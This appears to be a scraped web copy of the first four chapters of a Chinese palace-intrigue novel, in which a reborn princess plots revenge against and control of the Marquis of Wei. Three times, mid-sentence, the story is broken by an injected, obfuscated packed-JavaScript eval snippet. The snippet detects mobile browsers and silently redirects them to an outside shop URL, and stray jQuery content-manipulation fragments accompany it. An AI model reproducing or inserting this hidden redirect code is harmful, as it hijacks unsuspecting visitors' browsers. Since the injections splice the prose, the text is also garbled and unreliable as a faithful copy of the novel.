《吞狼》 1. 第 1 章 轰然一声,宫门在炮火中崩塌,宫人四窜奔逃,下一瞬叛军铁甲洪流碾过,数不清的人头便滚落到地上,血顺着砖缝,毒蛇一般向皇宫最深处蜿蜒。 永乐宫内殿,烛光明灭不定,永固公主卫瀛轻轻剪去烛芯,白底红凤的宫裙逶迤一地,红白分明,像极了外面血水斑驳的雪地。 檐廊下,泄出细碎呜咽和宫婢压抑的低语,“……听说了么,渤海王……被活捉,连同部下…被魏侯垒成人台,铁板一盖…三天三夜…上面魏侯焚香抚琴,下面…肚肠横流!” 卫瀛一撂剪刀,铿的一声脆响,廊下瞬时息声,也惊动了在佛龛前默诵经文的澄阳公主卫汐,她浑身一颤、猛地睁眼,见卫瀛行至身旁落座,信手翻开佛经。 忽然一个宫婢推门跌了进来,肋间中箭,撑着最后一口气道:“到,到内廷了!禁军说,顶多再撑一炷香!”倒地而亡。 卫汐惊叫出声,生生扯断了佛珠,崩溅一地,卫瀛却只是唤侍女帮她重新梳妆。 卫汐一路追她至镜前,颤声道:“我们没有外戚,夫君晋侯也早病故了,也许,也许魏侯会放我们一条生路?” 她矮下身子蹲在对方脚边,手像藤蔓似的攀上卫瀛的裙裾,“你说呢,瀛瀛。” 瀛瀛。 卫瀛这才正眼瞧瞧她,即便曾为晋侯平妻一起生活多年,庶姐也不曾这样亲昵的唤过自己。 卫瀛唇角微勾,“魏侯庶子夺爵,一路剿祁侯、灭幽州,何时有过一丁点儿慈悲心肠?你难道忘了——” 她凝眸望着对方楚楚可怜的眼睛,“渤海王,是怎么被压得破肚烂肠?!” 卫汐脚一软,瘫坐在地,脸色白得仿佛溺毙的尸首。 永乐宫外,木桩正鼓点般砸向内廷大门,内殿门窗随之哐啷啷的颤。 卫瀛恍若未闻,专心挑了副最庄重的头面,一一戴好,珠翠玉石在灯火下射出梦幻般的光晕,好似王朝的余晖。 珠光晃过卫汐的眼,刹那间,她仿佛瞧见那年金鞍白马上,少女屈起马鞭,点在拖着重伤跪地的青年眉心,“记着,你这条命是我永固公主从阎王手里抢回来的,我不点头,你不许死,得好好活着!”青年凤眸里毫无乞怜讨好,只定定的映出少女笑颜,马蹄声远去,他抬手轻抚眉心。 卫汐忙爬起身拥住卫瀛,“你不是曾救魏侯于狼口之下么!你只需对他略一低头……还怕换不来你我一条生路!” “然后呢,沦为他羞辱大启的玩物?我最恨自己的,就是救了他这条中山狼!”卫瀛一把推开庶姐,神色轻蔑,“罢了,永乐宫炭火太旺,你出去吹吹风、醒醒脑吧!” 此时外面通报,禁军送来了景元帝亲笔信。 说是信,却写在了圣旨用的锦帛上,沾染着父皇身上的龙涎香,卫瀛心里隐隐升起不好的预感。 展开玉轴,满目铁画银钩,父皇的滔天恨意扑面而来:“瀛瀛,朕还没输!朕命令你去侍奉储况!扰其宫闱,乱其朝纲,令他君臣相疑,永无宁日!” “疯了!”她将锦帛摔得远远的。 父皇啊,您御极三十载,到了最后,却也只能想出的这等复仇之法了么? 卫瀛额角筋脉绷起,眼底鼓起一汪泪,“不!我绝不!” 卫汐转转眼珠,瞟着角落里的锦帛,“父皇他……难不成是让妹妹去做魏侯储况的姬妾?” 她癫狂大笑起来,“哈哈!看啊,宠后独女也好,我这个醉后临幸宫女生的贱货也罢,又有什么不一样?都是棋子!” “我和你,怎么可能一样?”卫瀛抹去腮边泪,手一扬,侍女躬身端来一壶酒,卫瀛亲手倒了一杯,递到卫汐面前,“这壶鸩酒,妹妹准备多时,姐姐可要同饮?” 卫汐笑声戛然而止,怔怔的望着卫瀛,只见她立在大殿盘龙衔珠的藻井下,下巴微昂,朱唇紧闭,神态仿佛不信神佛的女皇。 外面响起杂沓的脚步声,很快咔嚓数声,殿门被人从外侧反锁。 卫汐忙转身奔至门前,用尽浑身力气,却也只能把朱漆描金的大门推开一条缝,门外禁军正利落的码放柴垛,淋上刺鼻的桐油。 丹墀上,一个身影如山岳般横刀立于门前,脚边魏军尸首横陈。 “崔统领!”卫汐扶门惊呼,“您这是要做什么!” 那身影侧过头来,露出一双冷冽眉眼,视线越过卫汐看向内殿深处,直到觅得一抹白底红凤的裙摆,才收刀转身跪地,低垂的头颈有如忠犬,抬起的眸子却狼瞳般钉在那裙摆上,“魏侯放话,要活捉永固公主,末将…不忍公主受辱,只得出此下策。” 卫瀛朗声道,“崔朔,谁给你的胆子,敢做我的主!” “你听着,我的命,永远只在自己手里,你以下犯上,待会儿黄泉路上,负荆请罪来吧!” 说罢,卫瀛将酒杯移到唇边,指尖却难以自抑地轻颤了一下,酒水微漾,随即死死收紧指尖,仰面一饮而尽,摔杯于地,拂袖坐定,垂目细细理好长袖衣摆。 门前,崔朔听得那酒杯碎裂声,面颊一阵抽搐,阖目默然良久,抬手一挥,无数火把抛到柴垛上,天地顷刻一片红光,火舌舔舐着隔扇,直往屋檐上冲去。 鸩毒剜心蚀骨,卫瀛痛得冷汗涟涟,猛地呕出一团血,鬓边母后遗赠的牡丹钗滑落坠地,红宝石摔个粉碎。 不远处喊杀声排山倒海,内殿的横梁在火中悲鸣一声,砰然断裂! 卫瀛挣扎起身,冲入火海,在灼伤发肤的热浪中站定,任凭烈焰撕咬裙摆,指天起誓道:“魏侯储况!若有来生,我永固公主定要夺回大启江山,让你血债血偿!” 永乐宫重重的倒在了雪夜里,扬起漫天尘埃…… 在无边黑暗里沉浮了不知多久,倏地清风拂面,花香馥郁,耳畔有人轻唤:“公主,醒醒,鼓点停了,花在魏侯手里,他没答题,八成要认输领罚啦!” 卫瀛睁开眼,漫天海棠正随风簌簌而动,周遭坐满了朝臣勋贵,内外命妇,她正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070817|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一场赏花宫宴上,面前递来一条金柄马鞭。 卫瀛一怔,神台清明起来,随即心神大震:她竟死而复生了! 侍女玉扇凑在她耳边小声笑道,“公主,快呀,不是定好谁不答题,便要鞭笞三下,给您取乐么!嘻嘻!” 卫瀛环视四周,大启贵族春日里喜穿艳色,宫宴上到处花红柳绿,叫人目眩,唯有一点留白,像一捧尚未消融的冰雪。 定睛望去,那男子长眉俊秀,凤眸半阖,领口一截玉白的颈,好似一只鹤停在垂丝海棠下。 魏侯储况! 卫瀛猛然起身,长袖打翻了杯盘,周身的血直冲头顶,太阳穴突突的跳。 储况缓缓抬眸,如莲静开,拈起手边一张字条抚平,温润一笑,“听闻公主出题素来‘别致’,储某不才,甘愿领罚。” 他身后随侍垂手侍立,眼观鼻,鼻观心,听到那“别致”二字,不由嘴角紧抿,泄出一丝不平。 坐在上首的景元帝朗声大笑,“瀛瀛,魏侯近日袭爵,此番乃初次进京朝觐,你平日顽皮也就罢了,今日不妨退一步,把鞭笞三下换为罚酒三杯,如何?” 卫瀛双目猩红,银牙紧咬,仿佛没有听见父皇的话,抄起马鞭冲到储况面前。 无数声音在她耳边疯狂叫嚣:就是他!害得我国破家亡、鸩酒穿肠!杀了他!灭其九族、攘其宗祠,抽烂他们的尸首! 席间有人一声嗤笑,“魏侯,难不成刚进京没两天,就哪里做的不妥,惹恼了金枝玉叶?” 幽侯拇指一抚髭须,细长的眸子闪着两点精光,正含笑望向卫瀛,神情好像在看一个无理取闹的孩童。 卫瀛这才分些目光给旁人,却认出满座豺狼。 前世,幽侯趁蛮族入侵竟起兵直捣京畿,被魏侯千刀万剐;祁侯炸毁堤坝,淹死数万王师,连累百姓无算,最后被魏侯一箭穿喉;渤海王专攻灾情肆虐之地,被魏侯用铁板压成了肉泥。 杀了储况,固然大仇得报,可然后呢? 幽侯这些豺狼,各个残暴嗜血,视百姓为草芥,若它们得胜,只会将地狱带到人间! 卫瀛视线重新聚拢在储况身上。在这个清贵端凝、有如谪仙男子的背后,她却看到了魏州千里沃土、仓廪满溢,听到旌旗猎猎,铁骑荡平九州! 一个更疯狂、更贪婪的念头,如惊雷般炸响在她脑海: 杀了他?不,那多傻呀,白白浪费了一把现成的利刃! 何不驯服他,驱策他?让他替我扫清所有魑魅魍魉!最后,再把他和他打下的江山,一口吞下! 浑身沸腾的血,静了下来。 幽侯那些豺狼们的音容都从卫瀛脑海里消失了,她眸光只凝聚在面前这抹月白色上——魏侯储况。 鞭梢慢慢垂下,手一松,马鞭坠地。 卫瀛随手折了一株海棠花枝,上一瞬还是满脸愤恨,再回身却是笑意盈盈,柔荑捻着花瓣,“既然魏侯认输,那本宫就不客气了。” 2. 第 2 章 卫瀛瞳仁黑漆漆的,唇角弧度仿佛精心算过,像极了精怪故事里的画皮,提起花枝在储况肩头不轻不重的击打三下,花枝存心擦过他面颊,像是在用羽毛逗弄狸奴,动作里折辱人的意图毫不遮掩,几枚花瓣随她动作飘忽而落。 随即俯身凑近储况,笑吟吟的用唯有二人能听清的声音低语道:“魏侯,今日父皇在,才换了花枝,这账,本宫可记下了,日后连本带利一起还!” 转身翩然而去。 储况微抿薄唇,方才花枝擦过的皮肤像被一团鸟雀的细绒拂过。 呼—— 耳边起了微风,湿冷气息掠过耳廓,“好俊的丫头!你得罪她了?” 御花园花香甜腻,他鼻尖却忽然泛起了一股经年不退的焦臭味。 声音调转方向,又伏在他另一侧肩头,“她瞧你的眼神真不对劲,还记得吗,以前总有人这样看你……” 放在膝上的手两指一翻,指缝里晃出一片打磨得极亮的玄铁,似乎早有准备。 湿气更重了,“嘻嘻,这眼神好像在喊:‘你个贱种!贱种!哈哈!” 他把拇指往尖角上极快、极重的划过,指腹绽开弯弯的伤口,像一个狰狞的笑。 淡淡的血腥味里,湿冷气息顷刻散了,那缕诡异的焦臭也被血气驱走,耳畔再不起一点风,四周依旧觥筹交错,无人察觉这异样。 沉了片刻,他抬眸瞧了眼卫瀛背影,拈起一片落在桌上的花瓣。 宫宴散了,卫瀛支颐斜倚坐在步撵上,杂驳的花影投在面上,她阴翳的面色被掩盖了几分。既然想要吞噬储况和魏州,就得先找到去魏州的门道…… 前方宫道上,侍奉姜后的邱女史匆匆过来,躬身施礼,“殿下,皇后娘娘急着召见您,快随奴婢来吧。” 邱女史面色为难,想来是有什么棘手的事。 卫瀛吩咐抬撵的内侍直奔姜后的玉坤宫。 玉坤宫内殿,卫瀛绕过屏风,隔着珠帘,见姜后坐在案前,娥眉紧蹙,朱唇微抿,正烦乱的翻着几卷画轴。 卫瀛尚未走近,便已泪光涌动。前世大厦倾颓,母后自焚于朱雀台,如今母女重逢,她恨不能冲过去,埋头钻进母后怀里。 姜后略一侧头,鬓边牡丹钗在晴阳下闪过流光,晃了晃卫瀛的眼。 卫瀛眉心一蹙,母后赴死前,只给她留下了这把牡丹钗和邱女史转述的一句话:“我半生苦楚都在这钗里酿成了毒,但这毒是能了却你一切痴念的药。” 可卫瀛至死都没能勘破这句话。 姜后抬眸,“瀛瀛,怎么不进来?” 卫瀛深吸口气,快步到姜后身边。 姜后把一幅画像在她眼前展开,笑道:“瞧,这晋侯年纪与你相仿,样貌生得如此俊朗,他那晋州物产丰饶,是上上之选!” 卫瀛神色一凝,原来母后找她是为了选驸马的事。记得她年少时不愿远嫁晋州,和姜后闹了许久。 姜后见她神情冷淡,笑意敛去,将画扔回案上。“瀛瀛,选驸马的事不能再拖了!晋侯是最好的选择,若不赶紧定下来,谁晓得你父皇那边会有什么变数!” 卫瀛心里一哂,晋侯?哼,前世叶峋确实野心昭昭,可他性子阴鸷骄矜,哪里是帝王之材? “母后为何非要女儿去晋州呢?” “还问为何?”姜后屏退左右,抬手一指向窗外,娥眉直竖,“母后虽探不到多少前朝的消息,可这后宫就是一面镜子!那王夫人、时良人仗着诸侯嫡女的身份,连你父皇这个‘天下共主’,凡事都要让她们三分!” 姜后擒住卫瀛肩膀,“可母后呢?只是个被进献入宫的乡野女子,即便一路拼杀登上后位,可终究是无根浮萍!如今各州诸侯明争暗斗,等真有风浪打来,第一个被砸碎的,就是我们母女!” 卫瀛默了默,面露一丝鄙夷道:“可那晋侯叶峋,刻薄寡恩、气量狭小,极易与人结怨,与女儿…也曾多有不快之事,母后想找这样的人做倚仗?哈,只怕他自己都难以在风浪中立足呢!” 姜后缓缓口气,回到案前,手扶在那画卷上,“那你说说看,还有什么更好的选择?” 卫瀛眸光微转,“今日赏花宴上,女儿见到了刚袭爵的魏侯,肆意逗弄一番,他竟一点不恼,望过来的眼神也不寻常。” 她故意说的暧昧,为的是把‘属意公主’这顶帽子先扣到储况头上去,“而他那魏州……” 姜后面上腾起一团火,“不行!魏州地贫人寡,魏侯一个外室子,若非嫡兄战死,又碰巧被你从狼口救下,爵位哪里轮得到他?无根无基,全凭气运罢了!母后实话告诉你,如今连京畿守军都遍布各州势力,你再嫁个魏侯那样的花架子,等着给别人下酒么!” 卫瀛心神一震,还欲再言,姜后却摆摆手,“过几日母后帮你安排下,也许见一见晋侯才好。” 母女僵持片刻,不欢而散。 出了玉坤宫,卫瀛脸上的不忿渐渐褪去,眸光转深。 母后的话,句句刺耳,刺痛之余,却也像一把钥匙,咔哒一声,解开了她记忆里的一处疑惑。 前世叛军重兵围困京畿,守军将领们一个个望风而降,死战到底的居然只有崔朔一人…… 哈,如今看来,那些将领根本不是畏战投降,他们原本效忠的就不是大启和父皇! 卫瀛掉转身进入岔路,“去御马监,本宫要骑马去京畿大营那里兜兜风!” 既然守军已经沦为各州的棋子,她要亲自去探查一番,看看能不能挖出什么可以利用的线索,若能揪出一两个魏州有关的把柄,岂不妙哉? 侍女烟素眼睛一转,凑近卫瀛耳边轻声道:“公主,眼下守军大营,可是个是非之地。奴婢从承阳殿那边听到消息,今早朝会上,司兵李盛因告发将领贪墨,触怒龙颜,被打入死牢了,您这个节骨眼过去…” 司兵李盛,为人耿直刚正,早年景元帝选朝臣给卫瀛讲学时,曾给她授过几次课。 卫瀛眼底寒光闪过,“可打听到,李盛告发的将领是谁?” 烟素道:“是京畿守将齐越,他勾结魏州势力,贪墨军资粮饷。” 魏州!? 卫瀛面色一凛,关键线索已然在手,守军大营是不必去了。 出门上了步撵,冷声吩咐道,“明日一早,去承阳殿,面见父皇!” 她得尽力去捞一把李盛,这等敢做敢言的能臣,命不该绝,若能收为己用,大有裨益。 更重要的是,他御前告发贪墨大案,手里势必有铁证,而那份证据里还牵扯着魏州…… 此证,就是眼下打开魏州局面的关键,她必须拿到手! 另一边,城内驿馆。 赏花宴散席后,魏州众人返回下榻处。 一位家臣面露迟疑,“主公,李司兵突然发难,虽反被降罪……但毕竟牵涉魏州,再说那齐小将军又是太夫人内侄……” 上首一白衣老者抚须含笑,“臣倒是和办这个案子的赵司寇颇有些交情。” 储况身着常服坐在案前,信手将一片海棠花瓣夹入书卷内,动作文雅,说出的话却让空气一滞:“齐越胆大妄为,损公肥私,母亲若知,必定痛心。” 眼帘一掀,面上仍是一副温润笑意,“赵司寇那边不必打点,齐越既然敢做,便该承担后果,能不能脱罪,全看他自己本事。” 家臣面露忧色:“可若任由深查,恐有损魏州声威……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070818|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “深查?”储况轻轻打断,指尖拂过书卷,“陛下既然直接将李司兵押入了死牢,就是不想深究。” “不错,”白衣老者也是淡淡一笑,手指了指头顶,“‘那位’外强中干,最爱粉饰太平,他只想沉浸在‘盛世’的幻梦里,偏偏李盛不长眼,非得叫醒他。” 储况笑了笑,话锋一转,“不过,李盛手中那些证物……牵扯过多,不能落入旁人之手。” 转日一早,散了朝会,卫瀛便立即动身赶往承阳殿。 大殿内,博山炉中龙涎香逸散开来,景元帝正立在案前挽袖提笔,画着一副青山覆雪图。 卫瀛平复下心绪,摆出一张明媚笑颜,到了皇帝身侧,俯身细瞧着画纸,“父皇这副雪景,看得女儿都觉出几丝雪后微寒了呢!” 景元帝笑笑,“朕不过忙里偷闲,随手一画,你这丫头,倒会奉承。” “女儿是心里想什么说什么,哪有什么奉承不奉承的!” 卫瀛视线扫过书案,见奏疏堆叠成山,撒娇道:“父皇日理万机,那些大臣们怎么就不能让您省省心呢?” 景元帝笔锋一顿,看向卫瀛。 “女儿听说,昨日李司兵被从承阳殿拖了出去,宫里传得沸沸扬扬的,不知他哪里惹恼了父皇?” “…小丫头,问这个做什么。” 卫瀛一副小女儿的天真情态,淡淡说道,“他好歹教过女儿几次课,女儿斗胆向父皇求个情,念在他一把年纪了,不如留他一命?” 景元帝将笔撂下,眯起眼打量着对方,“是不是…有谁和你说了什么?” 卫瀛轻轻摇头,“女儿只是想到他一个干巴巴的半大老头,被扔进死牢,心里有些不忍。” 景元帝冷哼一声,“你一个姑娘家,怎么会懂,此人居心叵测,妄图陷害忠良,乱我军心!” 卫瀛一愣,“他如何居心叵测呢?” “他此前丁忧三年,近来返京,告发守将勾结魏州势力贪墨军资,还说他在魏州暗中追查数月,手握铁证,可他自家乡返京,分明不会途径魏州!所以,他是在罗织罪名,污蔑良将,意图瓦解我大启根基!” 卫瀛顶着景元帝冷酷的目光,仍是说道,“可父皇,为何不再派人去调查一番?想来返京路遥,三教九流,各路消息颇多,也许他察觉到什么,才绕路去了魏……” “退下吧!”景元帝冷声道,“这些不是女人该置喙的事。” “可!”卫瀛做出委屈神色。 “退下。”景元帝声音里不再有一丝温度,“若再多言,莫怪父皇心狠。” 卫瀛默了默,父皇满眼只有帝王权术,根本无意整饬朝纲,又或者父皇其实心里都清楚,只是装作看不见,也不允许有臣子看见。不论如何,李盛都救不成了,再坚持只是无谓牺牲,便立即躬身告退。 殿门处一个老内侍,将卫瀛神态动作尽收眼底。他在承阳殿侍奉数十载,见过太多据理力争的臣子,却第一次见到有人在触及帝王逆鳞后,能如此利落的收敛锋芒,没有半点犹豫。 老内侍垂下眼皮,心中暗叹,‘这位小殿下,可比许多官场老手,都厉害得多啊。’ 离了大殿,卫瀛面色冷峻,站在高高的丹墀上,望向偏僻一隅,眼神里最后一丝犹豫、不舍都被彻底焚烧殆尽。 父皇刚愎自用,闭目塞听,大启已经彻底腐朽,唯有利用魏州这把剜除腐肉、刮净烂骨的钢刀,才能让大启重塑肉身,化腐朽为神奇。 而李盛手里的铁证,就是通往魏州的投名状!而他如今被羁押之地,乃是天牢死囚监室,私闯天牢,按律当诛…… 可不入虎穴,焉得虎子? 看来,今夜她得冒险闯一趟天牢了。 3. 第 3 章 夤夜微寒,天牢最深处,羁押死囚的监室里,唯一的光源是墙上一支将熄的火把,空气滞涩,血气浓得几乎令人作呕。 门外阴影里,崔朔立在卫瀛斜后方,低声道,“殿下,末将与这班岗的牢头有些交情,但他最多也只能代为遮掩一炷香时间,赵司寇的心腹随时会来巡查,殿下千万当心,一旦被发现,私见死囚,即便是您也……” “无妨。”卫瀛眸光一扫崔朔,示意对方不必多言,兵来将挡水来土掩,她今夜不惜一切代价都要得到证据。 崔朔默然,一使眼色,狱卒便上前开了门。 李盛正阖目靠在冰冷的墙上,听得锁门的铁链哗啦啦一响,抬头就见门前两个婢女打扮的女子,其中一人走进来,拉下兜帽,露出一张明艳脸孔。 李盛难掩震惊之色,费力撩开遮挡视线的乱发,仔细瞧瞧对方。 竟是永固公主! “殿下?!”李盛声音嘶哑,“为何来此处?” 卫瀛没做答,只是缓步上前,离近了才看清,原来李盛四肢已经血肉模糊,膝盖翻折,分外恐怖。 “李司兵何以受此等大刑?”卫瀛惊呼。 李盛沉了沉,撑着破败的身体,苦笑道,“陛下断定…臣捏造罪证,诬告守将,必定是想勾结作乱,令赵司寇严加审讯,要臣…供出背后势力,那赵司寇派人在臣家中…掘地三尺,翻出几把亲随用的刀,他便以此为证,逼臣…亲口认下篡权弑君的大罪!” 卫瀛将视线略错开,不忍再看李盛那悲戚的眸子。大臣府邸,亲随有兵器再寻常不过,那赵司寇敢以此为证据,逼迫李盛认下莫须有的大罪,无非是因为父皇相信李盛有罪,赵司寇不过是顺着父皇心意查案罢了。 卫瀛俯身,将臂上挎的提盒轻轻放到李盛身边,打开取出一壶酒和两碟糕饼。 “本宫来时路上,不知怎的,就记起李司兵当初授课的样子了,”卫瀛亲自斟了一杯酒,“授课次数虽少,可您的教导,犹在耳畔,如今……请让学生再尊称您一句先生吧。” 李盛情绪平复了些,摇摇头,“殿下莫要如此,臣不过讲了三五次课,如何担得起。” 卫瀛转而道,“学生无能,没能成功替先生向父皇求情,这杯酒,学生自罚。” 说罢,一饮而尽。 李盛望了望她,“臣自知,此事已无力回天,殿下今夜乔装打扮,冒险来此处,总不会是为了和臣叙旧吧?” 卫瀛眼帘一掀,“先生心思剔透,学生自知瞒不过,便直说了。” 她矮下身,视线与李盛平齐,眸光定定的望着对方,“先生虽蒙冤,可您苦心暗查搜集的罪证,不该就此湮灭于世!学生不才,但心怀江山社稷,恳请先生将那罪证托付于我。” 李盛却笑笑,“殿下冒险来这死牢,这片赤诚,臣感念于心,但……” 他慢慢转开脸,叹了口气,“殿下回去吧,您眼下该做的,是顺从陛下和皇后娘娘心意,挑个如意郎君,继续过您无忧无虑的日子。” “…无忧无虑?哼,您怕是想说‘无知无觉’吧!”卫瀛缓缓起身,“李司兵是觉得,本宫一介女流,担不起您用命换来的证据?还是说,您觉得,本宫即便拿了这罪证,也只是像小儿抱金过市,徒惹祸端罢了?” 李盛眉梢猛的一颤,回首略带怔愣的看着卫瀛,半晌后才道,“是臣眼拙,错看了殿下,您竟如此洞若观火。既然如此,臣也就直言了,证据给您,不难,可臣一个将死之人,要的不是让这事世人皆知,而是求一个结果。” 卫瀛挑眉,“李司兵是觉得,本宫给不了您一个‘结果’?” 李盛垂眸不语。 卫瀛沉吟片刻,“本宫问您,可知这守军之中,早已遍布各州势力?本宫再问您,您可知不仅是魏州,那晋州、幽州等地,都在私造军械、勾结蛮族?!” 这些都是她前世见闻,无一字虚言。 她逼近一步,目光如炬,“现在,李司兵觉得,本宫能不能给您这个‘结果’呢?” 李盛露出踌躇之色,顿了顿又道,“即便殿下有这份洞察,可也不过内廷女眷,臣若把罪证给了您,您如何用它?又如何将它化作利刃,替大启剜除痈疽?” “不错,本宫眼下的确被束缚在内廷,可凤凰凌空而起、另寻梧桐的时候,也快到了!”卫瀛微抬下巴,气势凛然。 李盛眯起眼,“殿下的意思是……” “大启式微,妖孽横行,剜除一个齐越,救不回江山!”卫瀛一字一句,掷地有声,“本宫要做的,是借李司兵手里的利刃,去撬动能锻造出新刀的铁砧,而那把新刀,可斩尽天下宵小!京畿的根基被蠹虫蚀空了,这里锻不出神兵利器,但山河万里,总有一处的水土,能淬炼出那扭转乾坤的钢刀!” 那弦外之音,振聋发聩,她每说一句,李盛眼底的光便炽热一分,仿佛在这逼仄黑暗的牢房里,窥见一缕天光。 这时,通道远处隐约传来靴底与地面的摩擦声。崔朔在门外阴影中,飞快的给卫瀛比了个手势。 卫瀛眸光一凛,再开口时语速虽加快了许多,却带着一抹不容置疑的威严:“李司兵,没时间了,是把这火种带入坟墓,还是交给本宫,让它有朝一日燃尽天下奸邪,请速决吧!” 李盛默然片刻,忽的趴伏在地,颤巍巍撕开里衣一处夹层,掏出血染的手卷,双手呈上,“殿下!臣将此物献上,愿殿下,不忘初心,还天下一个,山河永固,金瓯无缺!” 迈出天牢大门的那一刻,卫瀛在披风下抬起手,捏了捏怀里那血气犹在的罪证,瞧向门侧等候的崔朔,淡淡道了一句,“多谢崔统领代为打点,让本宫能再见恩师最后一面。” 崔朔只道:“为公主效力,乃末将之幸。”。 卫瀛径直走过他身侧,披风无意间擦过他垂在身侧的手,那只挥刀拉弓都稳如泰山的手,此刻却微微一颤。 他错后半身,护送卫瀛回宫,他道:“殿下,傍晚时候,皇后娘娘召末将商议围猎护卫之事,想来是娘娘提议去围场狩猎,陛下允了。” 他眸子低垂,追逐着卫瀛随步伐翻飞的裙摆。 卫瀛心下了然,父皇出猎常带宫眷,当下适逢诸侯进京朝觐,此时围猎,他们定然也会陪同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卫瀛眯起眼,原来齐氏姑侄勾结,把魏州供给京畿的军资暗中掉包,低价卖到祁州,所得钱财统统用来巩固齐氏家族势力,再用劣品填补上,供给守军大营。 卫瀛抬手支颐,“这些……储况知道吗?不,不论知道与否,对大启而言,这都是魏州损公肥私的铁证!” 她站起身,来回慢慢踱步,用仅有自己能听见的声音细细剖析:“大启虽然衰败,无法真的治罪,但储况日后若想号令天下,势必要塑造出一副爱民如子的脸孔,这可是莫大的污点!” “不对,”卫瀛摇头,“不止于此。” “祁、魏二州山水相连,日后若是要称雄争霸,免不了暗中较量,齐氏把军资低价卖给祁州,无异于助祁州做大,在储况眼里,定然是资敌之举!能做出这等行径,至少可以说明她与储况绝非一心啊。” 卫瀛闷声笑了笑,猛地转身抓起那些证据,死死压在胸前,神色凌厉,眸底闪动着癫狂。 这投名状的分量,比她原本想的还要重。用来敲开魏州大门,是绰绰有余了! 她不由低语道:“储况,你那魏州,还有你日后打下的江山,本宫要定了!” 4. 第 4 章 赶往京畿猎场途中,马车内。 “公主,歇会儿再看吧。”玉扇奉上一盏新茶。 卫瀛放下手中舆图,接过茶盏,不巧马车压上碎石,茶水泼洒出来,她忙用另一只手把舆图推开。 “呀!”玉扇取走茶盏,捧起卫瀛的手,皱眉道,“公主被烫到了!奴婢这就寻药来!” 卫瀛低头仔细瞧瞧,好在舆图没有被淋湿。 崔朔送来的舆图只有幽、魏、祁、汉四州,算上她前世熟悉的晋州,倒也够用,她得尽快把这些山川走势默记于心,断不可私藏,惹人猜忌。 玉扇取药回来,面色微白,卫瀛轻轻一瞥,“外面发生什么事了么?” “没,也没什么。” 卫瀛转身掀起车帘,就见官道两旁来了一大群流民,老幼妇孺居多,跪到车马两旁,向天子叩首膜拜,头顶是禁军出鞘的刀剑,晴阳下分外刺目。 这些人衣衫破烂,趴伏时背后的脊骨一节节凸出,裸露的皮肤脏污不堪,溃烂流脓。 他们分明还活着,可身上已经涌出甜丝丝的腐肉味,恶臭弥漫。 有个母亲怀里抱着幼童,母子皆瘦得可怖,那孩子头显得格外大,无力的歪在一边,蝇虫趴满眼眶,只等着他咽气便可饱餐了。 景元帝低沉的声音响起,“才开春不久,并无旱涝灾情,哪里这么多流民?” 流民中一个中年男子解释道,田里虽然没闹灾,但税赋越来越重,收成悉数上缴,粮种都没了,活着的人只得出来讨饭。 有京畿官吏厉声打断他,“天子面前竟信口雌黄!陛下,愚民蒙昧无知,断不可信!即便真有人敢在天子脚下徇私枉法,可谁也不蠢,怎会涸泽而渔?” 景元帝默然片刻,淡淡说道,“皆是朕的子民,沦落至此,朕心实痛,赐些银钱,再寻一处安置吧。” 卫瀛面色凝重,这荒郊野外,距离最近的村子怕是有二十里地,身体康健的人也得走上一整天,可这些人还哪里撑得住? 她命侍女烟素取来糕饼,下了马车朝流民们走去,禁军次第收刀,让开一条路。 到了那对母子面前,卫瀛神色悲悯,俯身将食盒放在母子面前,轻轻打开。 “…菩萨啊!!”那母亲声音虚弱,霎时泪如泉涌,费力的向卫瀛磕着头。 平日里能言善辩的永固公主,此刻喉间却似乎堵了块湿透的锦缎,说不出一个字。 身后玉扇潸然落泪,忙取了糕饼塞进对方手里,“快给孩子吃些吧!” 无数视线投来,冷漠、玩味、猜疑,心思各异,卫瀛毫不理会,只侧身下令道,“将本宫所带的吃食和清水,全部分发给他们。” 宫人忙依令而行。 前方车驾里,景元帝声音似笑非笑,“公主天性仁善,朕心甚慰,可他们四处流落,恐有疫病。快带公主回车上去,速速起驾罢。” 禁军将卫瀛与那群流民远远隔开,内侍低声请她回去,卫瀛转身前又看了流民一眼,流民中那个母亲,正用她瘦得宛若鸡爪的手,掰碎糕饼,轻轻递到幼子嘴边。 车轮辚辚,大队人马继续前行,走出一里多地的时候,景元帝的车帘微微掀起,遣人召来崔朔。 景元帝只低声吩咐了一句话,崔朔眼眸就猛地一抬,对上老皇帝视线,那双眼臃肿垂塌,目光却寒意刺骨。 崔朔呼吸一滞,沉默两息,俯首领命。 片刻后,他带一小撮禁军悄悄脱了队,没有引起太多注意。 车队中后部的一架黑篷马车旁,骑马随行的家臣凑近车帘低语,“主公,有禁军原路折返了,形迹可疑,要不要派人去暗中瞧瞧?” 车帘被骨节分明的手指微微掀起一角,露出一小片烟霭色衣襟。 片刻后,储况手指微松,帘子随即合上。 “何必沾染旁人因果。” 在舒缓车轮声里,卫瀛隐隐听得远处马蹄杂沓,便撩开车帘循声望去,正瞧见那队禁军背影。 卫瀛眉宇间爬上一丝疑惑,方才不是已经派人安置流民了么,这些人去做什么?什么要紧的事,让他们行动如此迅疾?又这般悄无声息? 而且…还都腰佩重刀、背负长弓? 